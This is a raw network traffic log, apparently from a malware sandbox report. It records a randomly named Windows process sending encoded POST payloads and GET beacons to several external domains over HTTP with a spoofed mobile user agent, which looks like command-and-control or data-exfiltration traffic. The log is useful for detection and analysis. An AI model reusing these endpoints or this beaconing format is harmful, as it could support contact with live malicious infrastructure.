69 50 35 6b 57 4f 34 7a 73 6a 78 51 68 6a 47 47 73 57 58 58 50 76 55 3d Data Ascii: UTJ0bhC=ggSfT+R16ULrq9Onvvsqs2wwQp08CuuBlWGN8hQ3mPFuf4gB3RlqdPjsRS7qud5jpMM9jffMUvm7t01+MEa1gDPvBWy8VmBYkEvtUzKMIz/DlLTCtYtGKRd/LZQT6GYs54FYnBj5YMb3fFQ3whw7HZ4Ch/jy2EAjZMp7iGex9P+uWtWGiP5kWO4zsjxQhjGGsWXXPvU=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49955	3.33.130.190	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:25:03.597537041 CET	817	OUT	POST /gnm5/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.binacamasala.com Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Content-Length: 228 Origin: http://www.binacamasala.com Referer: http://www.binacamasala.com/gnm5/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 55 54 4a 30 62 68 43 3d 67 67 53 66 54 2b 52 31 36 55 4c 72 72 64 2b 6e 74 4d 45 71 34 6d 78 43 56 70 30 38 58 65 76 49 6c 57 61 4e 38 67 6b 64 6e 39 52 75 47 64 45 42 32 51 6c 71 51 76 6a 73 65 79 37 6a 6b 39 35 34 70 4d 52 41 6a 66 6a 4d 55 76 69 37 74 77 35 2b 4d 33 43 30 68 54 50 74 4b 32 79 2b 52 6d 42 59 6b 45 76 74 55 7a 50 68 49 7a 6e 44 6c 37 44 43 76 35 74 46 4a 52 64 2b 4f 5a 51 54 2b 47 5a 6c 35 34 45 4c 6e 41 76 54 59 4f 54 33 66 45 67 33 77 30 4d 34 53 70 34 45 76 66 69 34 2f 57 52 61 5a 2b 68 46 67 46 62 4d 39 4d 6d 4a 61 37 6e 73 34 74 78 4d 46 75 55 4c 38 77 35 6e 77 54 6e 76 32 31 48 6e 52 34 43 58 77 75 2f 2b 2f 52 55 48 71 42 55 4f 44 6b 4d 72 62 74 2b 51 Data Ascii: UTJ0bhC=ggSfT+R16ULrrd+ntMEq4mxCVp08XevIlWaN8gkdn9RuGdEB2QlqQvjsey7jk954pMRAjfjMUvi7tw5+M3C0hTPtK2y+RmBYkEvtUzPhIznDl7DCv5tFJRd+OZQT+GZl54ELnAvTYOT3fEg3w0M4Sp4Evfi4/WRaZ+hFgFbM9MmJa7ns4txMFuUL8w5nwTnv21HnR4CXwu/+/RUHqBUODkMrbt+Q
Dec 10, 2024 16:25:04.696904898 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49961	3.33.130.190	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:25:06.272141933 CET	1834	OUT	POST /gnm5/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.binacamasala.com Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Content-Length: 1244 Origin: http://www.binacamasala.com Referer: http://www.binacamasala.com/gnm5/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 55 54 4a 30 62 68 43 3d 67 67 53 66 54 2b 52 31 36 55 4c 72 72 64 2b 6e 74 4d 45 71 34 6d 78 43 56 70 30 38 58 65 76 49 6c 57 61 4e 38 67 6b 64 6e 39 4a 75 61 2b 38 42 32 7a 64 71 52 76 6a 73 58 53 37 75 6b 39 34 71 70 4d 4a 45 6a 66 76 32 55 74 71 37 69 31 6c 2b 4b 47 43 30 76 54 50 74 46 57 79 2f 56 6d 42 6f 6b 45 2f 70 55 7a 66 68 49 7a 6e 44 6c 35 72 43 6d 49 74 46 45 78 64 2f 4c 5a 51 66 36 47 59 4d 35 34 63 62 6e 41 72 70 59 66 7a 33 63 6b 77 33 79 47 6b 34 51 4a 34 38 6f 66 6a 74 2f 57 64 37 5a 36 34 32 67 47 48 79 39 4d 65 4a 59 76 2b 58 71 63 70 77 65 59 55 62 7a 48 39 71 78 47 33 33 30 48 33 73 52 37 71 70 73 63 50 76 33 6b 41 66 2f 68 42 6e 57 68 63 62 4c 49 66 35 44 58 47 38 67 70 59 39 68 4f 55 44 4e 76 75 2f 59 42 6a 66 5a 73 62 46 59 33 6b 38 44 34 50 51 65 46 53 49 4c 47 33 50 47 33 79 47 77 2f 68 53 64 48 68 62 58 46 54 65 65 52 77 59 6d 4f 45 49 6b 32 66 65 78 58 7a 76 4c 32 56 4e 56 42 65 61 59 63 65 45 6d 76 49 58 62 51 36 49 4c 6a 32 58 7a 68 52 79 4a 58 4f 6e 6b 48 66 72 34 49 [TRUNCATED] Data Ascii: UTJ0bhC=ggSfT+R16ULrrd+ntMEq4mxCVp08XevIlWaN8gkdn9Jua+8B2zdqRvjsXS7uk94qpMJEjfv2Utq7i1l+KGC0vTPtFWy/VmBokE/pUzfhIznDl5rCmItFExd/LZQf6GYM54cbnArpYfz3ckw3yGk4QJ48ofjt/Wd7Z642gGHy9MeJYv+XqcpweYUbzH9qxG330H3sR7qpscPv3kAf/hBnWhcbLIf5DXG8gpY9hOUDNvu/YBjfZsbFY3k8D4PQeFSILG3PG3yGw/hSdHhbXFTeeRwYmOEIk2fexXzvL2VNVBeaYceEmvIXbQ6ILj2XzhRyJXOnkHfr4I08d9nSHVi1XX3BgZmNEZZJeUFtvxrk3EcZpavGhEjWg6Nc78A+7Pwp+F5AX2Z+aBMZuVzZwiwge+YH73uWOXvmVzdKeZFsEn54JojGNigpuJe4DcqBpLiDPqBlAoYNcpEz4dOMUoK9caIyAquZcQpPdvsAlNIeBKTCX9JcN1Z0gsrgQBEGJUP7T+kbyZITbjTXCeowntubXzV5cLmAomcQK1YLhkWw1dsI7C2OdANodL6hWXhSEjyhkuCZhIUGImIkIeczLCBYcSvVAYQz7336pOYWoC0CDIjkEi/S847KU0qEWn5hF/hRhkRAe2yXgWp4edPzFL6aFBU9k+N/ImtxgLTCZiomZjK3hRZuhZJQV6HEV2W23fEE//ghLvprGLmV+T+n6xWnB/zzOAsQNkx9tuvfvZ+gtFC6D3oGUqtnOka1RWa0pTqAV4AcHNJC8OLMBTxLQwgDWF64hIg3qYfQZDgxn/ssBeiczvoJry0CDKTZkeVYRZTuiUuYrtonbMJj25RdAVp26abgeZwUazSAiuQ6vfV/+F/nUyPDjxlMTDmmB0htVEWJxQR9DnhQDv3nDVIhdK6N+hvEH/sDsu16O7uiniloyBIX1Te8CxtkhLU0DcLSWYNH9SbxD/89n1AN2yKp5Zei2XR2X0qEfQYTrN0FD3T6zK1a [TRUNCATED]
Dec 10, 2024 16:25:07.347980976 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49968	3.33.130.190	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:25:09.065984964 CET	536	OUT	GET /gnm5/?UTJ0bhC=ti6/QOgt3F3Nl8C8p5prtjMaW6Y6IMW9lnWD5iRmif1oLulHgQhjY9iWeVbvuaIrm8dL1NajAOuvhk5PRRHWg3CbVnS8VxpDrxjuQQLZCEWAlJrEzJ1sdVkNA6M29CxpkA==&Pt=fDlHoNWP0RBd HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.binacamasala.com Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Dec 10, 2024 16:25:19.188924074 CET	392	IN	HTTP/1.1 200 OK content-type: text/html date: Tue, 10 Dec 2024 15:25:18 GMT content-length: 271 connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 55 54 4a 30 62 68 43 3d 74 69 36 2f 51 4f 67 74 33 46 33 4e 6c 38 43 38 70 35 70 72 74 6a 4d 61 57 36 59 36 49 4d 57 39 6c 6e 57 44 35 69 52 6d 69 66 31 6f 4c 75 6c 48 67 51 68 6a 59 39 69 57 65 56 62 76 75 61 49 72 6d 38 64 4c 31 4e 61 6a 41 4f 75 76 68 6b 35 50 52 52 48 57 67 33 43 62 56 6e 53 38 56 78 70 44 72 78 6a 75 51 51 4c 5a 43 45 57 41 6c 4a 72 45 7a 4a 31 73 64 56 6b 4e 41 36 4d 32 39 43 78 70 6b 41 3d 3d 26 50 74 3d 66 44 6c 48 6f 4e 57 50 30 52 42 64 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?UTJ0bhC=ti6/QOgt3F3Nl8C8p5prtjMaW6Y6IMW9lnWD5iRmif1oLulHgQhjY9iWeVbvuaIrm8dL1NajAOuvhk5PRRHWg3CbVnS8VxpDrxjuQQLZCEWAlJrEzJ1sdVkNA6M29CxpkA==&Pt=fDlHoNWP0RBd"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49995	46.38.243.234	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:25:24.796169043 CET	776	OUT	POST /zdtk/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.dlion.net Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Content-Length: 208 Origin: http://www.dlion.net Referer: http://www.dlion.net/zdtk/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 55 54 4a 30 62 68 43 3d 50 62 50 37 4e 4d 46 4d 49 66 4d 79 6e 35 7a 35 6e 38 69 4e 48 50 2f 45 79 75 34 6d 69 55 4b 79 71 30 50 70 67 75 67 4a 63 66 34 78 74 52 35 56 39 58 2b 76 6b 63 77 36 63 6b 72 67 48 30 64 68 69 78 32 52 41 68 56 31 6c 37 2f 42 4a 4d 64 62 61 64 4c 56 6f 39 2b 72 6f 4e 62 66 6e 6b 38 78 73 50 57 72 78 41 73 41 58 71 64 4c 74 6d 75 65 73 55 56 66 7a 64 6d 70 38 59 4a 55 66 4a 34 6a 4d 57 58 64 76 43 64 64 54 4b 44 6e 37 6e 63 76 72 4f 67 64 33 51 70 78 47 48 50 4b 41 49 4e 37 72 34 54 61 77 51 50 5a 6e 57 49 6f 42 4d 46 4f 36 43 78 44 75 7a 30 69 44 69 34 31 4d 44 54 75 4e 4b 30 4c 48 30 38 3d Data Ascii: UTJ0bhC=PbP7NMFMIfMyn5z5n8iNHP/Eyu4miUKyq0PpgugJcf4xtR5V9X+vkcw6ckrgH0dhix2RAhV1l7/BJMdbadLVo9+roNbfnk8xsPWrxAsAXqdLtmuesUVfzdmp8YJUfJ4jMWXdvCddTKDn7ncvrOgd3QpxGHPKAIN7r4TawQPZnWIoBMFO6CxDuz0iDi41MDTuNK0LH08=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49996	46.38.243.234	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:25:27.455949068 CET	796	OUT	POST /zdtk/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.dlion.net Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Content-Length: 228 Origin: http://www.dlion.net Referer: http://www.dlion.net/zdtk/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 55 54 4a 30 62 68 43 3d 50 62 50 37 4e 4d 46 4d 49 66 4d 79 6d 61 37 35 6c 64 69 4e 41 76 2f 46 72 4f 34 6d 33 45 4c 37 71 30 54 70 67 72 41 6a 66 70 6f 78 73 7a 52 56 38 57 2b 76 68 63 77 36 58 45 72 68 61 6b 64 36 69 78 71 76 41 6b 31 31 6c 36 62 42 4a 4d 4e 62 64 75 54 53 75 74 2b 70 6a 74 62 64 70 45 38 78 73 50 57 72 78 45 45 35 58 71 56 4c 73 57 65 65 73 31 56 41 6f 39 6d 75 30 34 4a 55 4f 5a 34 6e 4d 57 58 2f 76 44 42 6a 54 50 50 6e 37 6d 73 76 72 61 4d 65 38 51 70 33 4a 6e 4f 47 45 70 56 2b 79 70 6a 79 35 7a 71 64 36 55 49 67 45 36 30 6b 67 67 35 72 39 54 59 61 54 78 77 43 64 7a 79 48 58 70 6b 37 5a 6a 71 6d 52 54 6f 48 50 67 2b 76 32 73 70 68 54 68 74 64 6b 6a 44 4f Data Ascii: UTJ0bhC=PbP7NMFMIfMyma75ldiNAv/FrO4m3EL7q0TpgrAjfpoxszRV8W+vhcw6XErhakd6ixqvAk11l6bBJMNbduTSut+pjtbdpE8xsPWrxEE5XqVLsWees1VAo9mu04JUOZ4nMWX/vDBjTPPn7msvraMe8Qp3JnOGEpV+ypjy5zqd6UIgE60kgg5r9TYaTxwCdzyHXpk7ZjqmRToHPg+v2sphThtdkjDO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49997	46.38.243.234	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:25:30.110182047 CET	1813	OUT	POST /zdtk/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.dlion.net Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Content-Length: 1244 Origin: http://www.dlion.net Referer: http://www.dlion.net/zdtk/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 55 54 4a 30 62 68 43 3d 50 62 50 37 4e 4d 46 4d 49 66 4d 79 6d 61 37 35 6c 64 69 4e 41 76 2f 46 72 4f 34 6d 33 45 4c 37 71 30 54 70 67 72 41 6a 66 70 67 78 74 43 78 56 38 31 6d 76 69 63 77 36 61 6b 72 6b 61 6b 63 34 69 78 69 7a 41 6b 70 50 6c 34 54 42 50 75 31 62 59 66 54 53 6e 74 2b 70 73 4e 62 65 6e 6b 38 6b 73 4c 4b 6e 78 41 59 35 58 71 56 4c 73 55 57 65 71 6b 56 41 71 39 6d 70 38 59 4a 41 66 4a 34 66 4d 57 2f 46 76 44 46 7a 51 38 48 6e 37 47 38 76 6e 50 67 65 78 51 70 31 4f 6e 50 62 45 70 6f 75 79 70 2f 59 35 79 65 6e 36 57 49 67 47 38 46 2f 77 6a 68 67 35 56 34 58 52 41 6f 66 44 57 69 39 5a 4c 67 42 59 51 2b 72 64 33 38 30 41 6b 57 7a 33 4e 63 75 45 6c 6c 62 31 55 72 4f 79 6e 33 4c 42 49 73 75 58 30 73 5a 4b 32 44 43 39 49 4e 45 44 76 36 55 72 44 2b 79 33 69 69 59 62 4a 67 35 42 45 74 63 48 49 6c 4d 6f 4e 51 73 73 50 76 72 4c 6f 33 42 41 56 71 2f 57 71 4a 31 74 6f 38 71 61 46 45 6e 75 38 43 43 36 47 53 70 39 74 75 4e 6d 37 6e 2f 7a 53 61 6e 76 6d 50 48 37 78 78 63 78 42 31 34 36 65 44 7a 59 65 [TRUNCATED] Data Ascii: UTJ0bhC=PbP7NMFMIfMyma75ldiNAv/FrO4m3EL7q0TpgrAjfpgxtCxV81mvicw6akrkakc4ixizAkpPl4TBPu1bYfTSnt+psNbenk8ksLKnxAY5XqVLsUWeqkVAq9mp8YJAfJ4fMW/FvDFzQ8Hn7G8vnPgexQp1OnPbEpouyp/Y5yen6WIgG8F/wjhg5V4XRAofDWi9ZLgBYQ+rd380AkWz3NcuEllb1UrOyn3LBIsuX0sZK2DC9INEDv6UrD+y3iiYbJg5BEtcHIlMoNQssPvrLo3BAVq/WqJ1to8qaFEnu8CC6GSp9tuNm7n/zSanvmPH7xxcxB146eDzYeKoD3Ilxq6RAZBncfovKvyXze/L8AKBKMh4Ji+82Swsibtal3392ZunWAY0QsUggNhDgLVW+4Xbss8k0cqud2ApFJK63yH62jurVMBm4/V2ZPCwEN7EFXkbR22CC6g1QHQskFoDTbP/pjCJVvqc6jpYl+XAko2IyE9my7qpZJ9ZW2luIt0+Eu8IymwCklzGc6wiX/aR4SSXcAPUyT/f3rAVIVWO2zt72kwNTbN7cm6doIpZBhY4LZT5au7D915H5Qbw+VSC2X9Xe91KNDhBHPDBL+6E4VqiT45NdruIBaFJ3plhEZ0Iu57GAz3gjsu9SLUtS4/cO5oBzA2yxSGaqdNlEZL1iaEUasKy5Ai2jA39ApoFI7ztTYyCv/leThtss+KE78q384KBW4XMwnD5lPO6Goysr9LDHSnApWNEieNryOCS0lbh8TS2OlN+HMRKMLidJkqSwbYmTd1eD0sZLj73+/Fb8JE3AMh7Lc8QIduZcuniaoLT7oE51tBOndlYguDByzLBhUDQfekDL+0A7hSghCeyz17IWKhkCxxyG/339vdUmeYHtwtvvmDEgXCiKTKmXky4g2sQ9kWl9lDtIhMCNyZcbN1uNWDkVCACby+Em8Ew3pucYRyfbmnBNbMB01FD0OglP11RVBlnMMdDVnayloJuScnOff0Z [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49998	46.38.243.234	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:25:32.770186901 CET	529	OUT	GET /zdtk/?UTJ0bhC=CZnbO61oB8I0t5jp9Yjra7+H6pVn9XqOl0/1mbdze6wgsABtqXuHlKk0QinpfTYx1CmGDnkfwpenOsZSDrrPpuKT49SBu0EMo/Pb2gUHZetqgGuH1mNT0tuZ4b1AatRTdQ==&Pt=fDlHoNWP0RBd HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.dlion.net Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Dec 10, 2024 16:25:40.784006119 CET	455	IN	HTTP/1.1 404 Not Found Date: Tue, 10 Dec 2024 15:23:20 GMT Server: Apache/2.4.10 (Debian) Content-Length: 275 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 64 6c 69 6f 6e 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.10 (Debian) Server at www.dlion.net Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49999	74.48.34.43	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:25:47.059088945 CET	782	OUT	POST /uwg4/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.bioart.buzz Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Content-Length: 208 Origin: http://www.bioart.buzz Referer: http://www.bioart.buzz/uwg4/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 55 54 4a 30 62 68 43 3d 49 70 67 50 43 63 61 4f 4d 75 6a 46 34 43 5a 72 65 42 74 55 2b 41 49 51 6d 47 78 6b 44 49 52 6a 32 77 71 4d 34 48 70 6f 6c 77 59 64 72 4b 4c 42 4e 44 51 4a 5a 48 41 33 41 65 79 39 62 6d 54 68 43 75 30 44 51 7a 6f 6b 53 6a 70 61 4c 79 45 6c 74 78 5a 7a 37 4b 62 6b 79 4f 74 61 66 31 51 2f 43 51 45 6f 6a 35 66 6f 78 7a 65 79 38 44 6f 72 31 34 41 72 45 30 6a 57 4d 54 72 6f 4d 38 4f 6c 42 77 70 45 79 58 6b 55 47 56 67 42 70 52 6c 55 6a 69 2f 47 6b 61 4d 6a 39 31 48 76 31 77 74 5a 34 63 42 2b 78 4c 38 33 51 36 57 4b 41 4b 35 62 37 52 72 7a 4c 56 54 33 6e 4a 5a 6d 2b 34 67 36 37 55 30 37 71 65 63 3d Data Ascii: UTJ0bhC=IpgPCcaOMujF4CZreBtU+AIQmGxkDIRj2wqM4HpolwYdrKLBNDQJZHA3Aey9bmThCu0DQzokSjpaLyEltxZz7KbkyOtaf1Q/CQEoj5foxzey8Dor14ArE0jWMTroM8OlBwpEyXkUGVgBpRlUji/GkaMj91Hv1wtZ4cB+xL83Q6WKAK5b7RrzLVT3nJZm+4g67U07qec=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	50000	74.48.34.43	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:25:49.721002102 CET	802	OUT	POST /uwg4/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.bioart.buzz Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Content-Length: 228 Origin: http://www.bioart.buzz Referer: http://www.bioart.buzz/uwg4/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 55 54 4a 30 62 68 43 3d 49 70 67 50 43 63 61 4f 4d 75 6a 46 34 68 78 72 66 6a 46 55 70 77 49 54 73 6d 78 6b 61 59 52 76 32 77 6d 4d 34 47 73 31 6b 43 73 64 73 72 37 42 66 53 51 4a 59 48 41 33 59 4f 79 34 56 47 54 6d 43 75 34 68 51 79 55 6b 53 6e 42 61 4c 79 30 6c 71 47 74 77 30 36 62 69 72 65 74 59 62 31 51 2f 43 51 45 6f 6a 35 61 4e 78 7a 32 79 38 7a 59 72 31 64 30 71 61 45 6a 56 4c 54 72 6f 64 4d 4f 35 42 77 70 6d 79 56 52 78 47 51 6b 42 70 54 39 55 6d 6a 2f 46 78 4b 4d 70 69 46 48 34 6a 78 31 58 2b 2f 34 30 73 34 6f 30 4e 61 47 45 42 38 49 78 68 7a 6a 62 59 31 2f 50 33 61 52 52 76 49 42 54 68 33 6b 4c 30 4a 49 34 41 4e 66 36 4a 49 62 74 33 31 7a 51 73 59 48 6c 62 45 4e 52 Data Ascii: UTJ0bhC=IpgPCcaOMujF4hxrfjFUpwITsmxkaYRv2wmM4Gs1kCsdsr7BfSQJYHA3YOy4VGTmCu4hQyUkSnBaLy0lqGtw06biretYb1Q/CQEoj5aNxz2y8zYr1d0qaEjVLTrodMO5BwpmyVRxGQkBpT9Umj/FxKMpiFH4jx1X+/40s4o0NaGEB8IxhzjbY1/P3aRRvIBTh3kL0JI4ANf6JIbt31zQsYHlbENR
Dec 10, 2024 16:25:51.230290890 CET	796	IN	HTTP/1.1 404 Not Found Server: openresty/1.19.3.1 Date: Tue, 10 Dec 2024 15:25:51 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Cache: MISS from kangle web server Content-Encoding: gzip Data Raw: 32 32 30 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ad 53 4d 8f d3 30 10 3d d3 5f 61 22 81 bb 5a 25 ee f6 63 59 5a c7 1c 90 e0 82 56 08 76 cf c8 8d a7 89 d9 34 0e 13 37 4b ff 3d 33 89 4a 11 f4 48 0e 71 e2 bc bc 37 ef cd 58 57 71 5f 9b 89 ae c0 3a 33 79 a1 f7 10 ad a8 62 6c 53 f8 71 f0 7d 9e bc 0f 4d 84 26 a6 0f c7 16 12 51 8c 6f 79 12 e1 67 54 fc ef 46 14 95 c5 0e 62 fe f8 f0 21 bd 4b 98 24 fa 58 83 59 ce 96 5a 8d 8f 13 ad 46 01 bd 0d ee 48 72 ce f7 c2 bb 5c ee ad 6f a4 b8 74 11 c8 1b 5d cd cd d7 40 35 55 be 29 05 20 06 5c 13 d5 dc 68 e5 09 d0 12 60 31 ea d0 ca cf 7a 47 05 52 95 75 c0 5c 22 38 69 ee 83 e8 0e 45 25 76 be 06 11 50 38 8f 50 c4 80 c7 4c 2b 06 13 15 ff a7 da 81 ef 73 0d b6 03 b2 04 c5 13 a3 35 85 81 b0 cb e5 77 db db ae 40 df c6 75 1d 0a 1b 7d 68 32 84 3a 58 37 bd 92 26 e2 51 d8 92 bc 68 65 8d a8 6d 04 24 7a a6 24 a3 a6 0a 5d 6c ec 1e d6 e2 c9 36 25 95 f1 0c 5b d1 01 f6 80 5a 31 40 57 38 42 87 4c da ad 34 1f a1 01 24 1a 27 b6 c7 8b 45 9c 23 eb 2d 92 61 07 39 e5 fd 57 94 66 d4 53 8b 6c 95 cd 6f [TRUNCATED] Data Ascii: 220SM0=_a"Z%cYZVv47K=3JHq7XWq_:3yblSq}M&QoygTFb!K$XYZFHr\ot]@5U) \h`1zGRu\"8iE%vP8PL+s5w@u}h2:X7&Qhem$z$]l6%[Z1@W8BL4$'E#-a9WfSlo[./feEU7WId~P0u8i,(B6#O'+ 